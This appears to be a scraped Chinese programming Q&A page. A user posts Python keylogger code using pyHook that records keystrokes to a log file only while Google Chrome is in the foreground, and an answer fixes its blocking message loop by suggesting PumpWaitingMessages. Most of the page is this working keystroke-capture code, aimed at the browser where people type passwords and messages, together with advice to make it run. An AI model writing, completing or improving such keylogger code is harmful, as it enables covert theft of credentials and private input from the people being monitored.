我用python创建了一个简单的键盘记录器,但我希望它只在googlechrome是前台应用程序的情况下运行(我的意思是,只有当用户在googlechrome中时,键盘记录器才会钩住。如果用户离开Chrome,键盘记录器将停止运行,以此类推。)当用户第一次进入Chrome时,它会正常工作,但是如果前台应用程序已切换到另一个应用程序,键盘记录器将继续运行。我发现问题在于:pythoncom。Pupmessages(). 代码在这行之后永远不会继续。有人有办法吗?在
import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading
LOG_FILE = "D:\\Log File.txt"
def OnkeyboardEvent(event): # on key pressed function
if event.Ascii:
f = open(LOG_FILE,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "'": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
def main():
time.sleep(2)
hooks = pyHook.HookManager()
# Finding the Foreground Application at every moment.
while True:
time.sleep(0.5)
newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
print newWindowTile
# Cheking if google chrome is running in the foreground.
if 'Google Chrome?' in newWindowTile:
hooks.KeyDown = OnKeyboardEvent
hooks.HookKeyboard()
pythoncom.PumpMessages()
time.sleep(2)
if __name__ == "__main__":
main()
您需要使用没有阻塞的
pythoncom.PumpWaitingMessages()
。pc.PumpWaitingMessages()
这应该可以修复代码不再继续。在
来源:Pythoncom documentation
相关问题 更多 >
编程相关推荐